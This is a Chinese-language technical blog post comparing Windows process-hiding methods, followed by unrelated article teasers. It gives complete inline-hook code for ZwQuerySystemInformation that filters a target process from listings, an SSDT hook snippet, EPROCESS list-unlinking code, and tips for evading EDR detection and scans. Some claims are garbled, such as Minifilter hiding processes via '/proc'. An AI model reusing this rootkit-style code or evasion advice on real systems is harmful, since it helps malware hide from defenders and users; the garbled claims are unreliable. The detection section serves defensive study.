news 2026/7/12 2:04:47

Windows 进程隐藏技术对比:Hook ZwQuerySystemInformation 与内核驱动方案优劣分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Windows 进程隐藏技术对比:Hook ZwQuerySystemInformation 与内核驱动方案优劣分析

Windows 进程隐藏技术深度解析:从用户层 Hook 到内核驱动的攻防实践

在 Windows 系统安全领域,进程隐藏技术一直是一个充满挑战的话题。无论是安全研究人员进行渗透测试,还是恶意软件试图逃避检测,都需要深入理解这项技术的原理与实现方式。本文将全面剖析两种主流的进程隐藏方案:用户层 HookZwQuerySystemInformation函数和内核驱动方案(包括 SSDT Hook 和 Minifilter),通过技术对比和实战代码,带您深入理解这一领域的核心技术。

1. 进程隐藏技术概述与应用场景

进程隐藏技术本质上是对操作系统进程枚举机制的干预和修改。在 Windows 系统中,任务管理器、Process Explorer 等工具都是通过调用特定的 API 来获取系统进程列表。通过拦截这些 API 调用,我们可以控制返回的结果,实现进程的隐藏。

这项技术有着广泛的应用场景。在合法用途方面,安全软件可能需要隐藏自身的监控进程以防止被恶意软件终止;在渗透测试中,红队需要保持持久化访问而不被发现。当然,这项技术也常被恶意软件滥用,这也是为什么现代 EDR(终端检测与响应)系统会投入大量资源检测此类行为。

从技术实现层面看,进程隐藏主要分为两大方向:

  • 用户层 Hook:通过修改 API 函数的行为来过滤进程信息
  • 内核驱动:在系统更底层拦截相关调用,实现更隐蔽的隐藏

下面我们将重点分析这两种方案的实现原理、优缺点以及对抗检测的方法。

2. 用户层 Hook ZwQuerySystemInformation 技术详解

2.1 技术原理分析

ZwQuerySystemInformation是 Windows 系统内部一个关键的函数,它负责提供各种系统信息,其中就包括进程列表。当 SystemInformationClass 参数为 5(SystemProcessInformation)时,函数会返回系统中所有进程的详细信息。

用户层的进程枚举工具(如 tasklist、Process Explorer)最终都会调用这个函数来获取进程列表。因此,如果我们能够 Hook 这个函数,过滤掉特定进程的信息,就能实现进程隐藏。

2.2 完整实现代码示例

以下是使用 Inline Hook 技术实现ZwQuerySystemInformationHook 的完整代码:

#include <windows.h> #include <stdio.h> typedef NTSTATUS (NTAPI *typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Out_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); BYTE g_OldData32[5] = {0}; BYTE g_OldData64[12] = {0}; void HookApi() { HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) return; typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) return; #ifndef _WIN64 BYTE pData[5] = { 0xe9, 0, 0, 0, 0 }; DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset)); ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData)); #else BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset)); ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData)); #endif DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); } NTSTATUS NTAPI New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ) { NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; DWORD dwHideProcessId = 1234; // 要隐藏的进程ID // 先取消Hook,调用原始函数 UnhookApi(); HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) return status; typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) return status; status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) { if (0 == pCur->NextEntryOffset) { pPrev->NextEntryOffset = 0; } else { pPrev->NextEntryOffset += pCur->NextEntryOffset; } } else { pPrev = pCur; } if (0 == pCur->NextEntryOffset) break; pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset); } } // 重新设置Hook HookApi(); return status; }

2.3 技术优势与局限性

优势

  • 实现相对简单,不需要编写内核驱动
  • 兼容性较好,适用于大多数 Windows 版本
  • 对系统稳定性影响较小

局限性

  • 容易被检测到,现代 EDR 会检查关键 API 是否被 Hook
  • 只能影响用户层工具的进程枚举,内核层工具仍能看到真实进程
  • 64位系统下 PatchGuard 会阻止对系统函数的修改

提示:在实际应用中,用户层 Hook 更适合作为临时性方案或与其他技术组合使用,单独使用时隐蔽性不足。

3. 内核驱动方案深度解析

3.1 SSDT Hook 技术

SSDT(System Service Descriptor Table)是 Windows 内核中一个关键的数据结构,它包含了系统服务调用的函数指针。通过修改 SSDT 表中的函数指针,我们可以拦截系统调用,实现更底层的进程隐藏。

实现步骤

  1. 获取 SSDT 表的地址
  2. 找到NtQuerySystemInformation的索引号
  3. 保存原始函数指针
  4. 替换为自定义的处理函数

关键代码片段

NTSTATUS HookNtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS status = OldNtQuerySystemInformation( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && SystemProcessInformation == SystemInformationClass) { // 处理进程信息,隐藏特定进程 FilterProcessInformation(SystemInformation); } return status; }

3.2 Minifilter 驱动技术

Minifilter 是微软提供的文件系统过滤驱动框架,虽然主要用于文件操作监控,但也可以用于进程隐藏。通过拦截文件系统对进程相关目录(如 /proc)的访问,可以隐藏特定进程的信息。

技术特点

  • 微软官方支持的框架,稳定性高
  • 可以精细控制文件系统操作
  • 支持多种回调类型和优先级

3.3 内核方案技术对比

技术指标SSDT HookMinifilter
实现复杂度中等较高
稳定性较低,可能引起系统蓝屏高,微软官方框架
隐蔽性较高
兼容性受 PatchGuard 限制各版本 Windows 都支持
检测难度中等较高

4. 检测与绕过技术

4.1 常见检测手段

现代安全产品会采用多种技术检测进程隐藏:

  1. 用户层 Hook 检测

    • 检查关键 API 的代码完整性
    • 对比不同层次 API 的返回结果
    • 使用硬件断点监控关键函数
  2. 内核驱动检测

    • 验证 SSDT 表的完整性
    • 检查驱动模块列表
    • 监控驱动加载行为
  3. 交叉视图检测

    • 同时从用户层和内核层获取进程列表进行对比
    • 使用更低级别的接口(如 EPROCESS 遍历)

4.2 绕过检测的高级技巧

  1. 直接内核对象操作: 通过直接操作内核对象(如 EPROCESS 链表)实现隐藏,完全不依赖 Hook。
// 遍历进程链表并隐藏特定进程 PLIST_ENTRY prev = TargetProcess->ActiveProcessLinks.Blink; PLIST_ENTRY next = TargetProcess->ActiveProcessLinks.Flink; prev->Flink = next; next->Blink = prev;
  1. 时间差攻击: 只在特定时间隐藏进程,避开定期扫描。

  2. 多技术组合: 结合用户层 Hook、内核 Hook 和直接内核对象操作,使检测更加困难。

5. 实战建议与最佳实践

在实际应用中,进程隐藏技术需要考虑多方面因素:

  1. 兼容性处理

    • 针对不同 Windows 版本实现多套方案
    • 做好版本检查和适配
  2. 稳定性保障

    • 充分测试各种边界条件
    • 实现完善的错误处理机制
  3. 隐蔽性优化

    • 避免使用特征明显的字符串和模式
    • 实现动态行为,避免固定模式被检测
  4. 权限管理

    • 最小权限原则,只获取必要的权限
    • 实现权限回收机制

注意:本文所述技术仅限用于合法授权的安全研究和渗透测试,未经授权对系统进行修改可能违反法律法规。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/12 2:02:43

C语言代码技巧

在进行代码编写的时候&#xff0c;经常需要编写抽象层&#xff08;hal&#xff09;以增强代码的复用性。hal的头文件在这里很重要——它决定了代码的接口。因此&#xff0c;在写的时候&#xff0c;尽量不暴露具体的数据结构&#xff0c;起到解耦的作用。

作者头像 李华
网站建设 2026/7/12 2:02:28

Source Insight 4.0 对比 VS Code 代码导航:5个场景实测与3项效率指标

Source Insight 4.0 与 VS Code 代码导航能力深度评测&#xff1a;工程师的效率选择指南在当今快节奏的软件开发环境中&#xff0c;代码导航效率直接决定了工程师的生产力水平。面对动辄数十万行代码的现代项目&#xff0c;如何快速定位函数定义、追踪调用关系、理解模块依赖&a…

作者头像 李华
网站建设 2026/7/12 1:59:34

VSCode SSH 连接对比:腾讯云 Ubuntu 20.04 密钥 vs 密码登录的 2 种配置

VSCode SSH 连接腾讯云 Ubuntu 20.04&#xff1a;密钥与密码登录的深度对比与实战配置在云端开发环境中&#xff0c;安全高效的远程连接是每位开发者的刚需。本文将深入解析VSCode通过SSH连接腾讯云Ubuntu 20.04服务器的两种主流认证方式——密钥对登录与传统密码登录&#xff…

作者头像 李华
网站建设 2026/7/12 1:58:23

R1工业四足机器人:高鲁棒性移动平台的工程实践

1. 这不是又一款“四足机器人”&#xff0c;而是重新定义人机协作边界的工业级移动平台宇树科技&#xff08;Unitree&#xff09;在2024年7月正式发布R1&#xff0c;我第一时间拿到工程样机做了连续三周的实测——它彻底打破了我对“消费级四足机器人”和“工业巡检机器人”的固…

作者头像 李华
网站建设 2026/7/12 1:58:15

Lambert与Albers投影对比:在QGIS 3.34 中绘制1:400万中国地图的3步可视化

Lambert与Albers投影对比&#xff1a;在QGIS 3.34中绘制1:400万中国地图的3步可视化当我们需要制作一张全国范围的地图时&#xff0c;选择合适的投影方式往往是最关键的决策之一。作为地理信息系统的从业者&#xff0c;我经常需要在Lambert等角投影和Albers等积投影之间做出选择…

作者头像 李华
网站建设 2026/7/12 1:57:44

移动端跨平台开发:C++核心层架构设计与性能优化实战

1. 项目概述&#xff1a;为什么我们需要重新审视C在移动端开发中的角色&#xff1f;在移动应用开发领域&#xff0c;性能与效率的博弈从未停止。作为一名经历过从原生开发到各种跨平台框架洗礼的开发者&#xff0c;我亲眼见证了市场对应用体验要求的“水涨船高”。用户不再满足…

作者头像 李华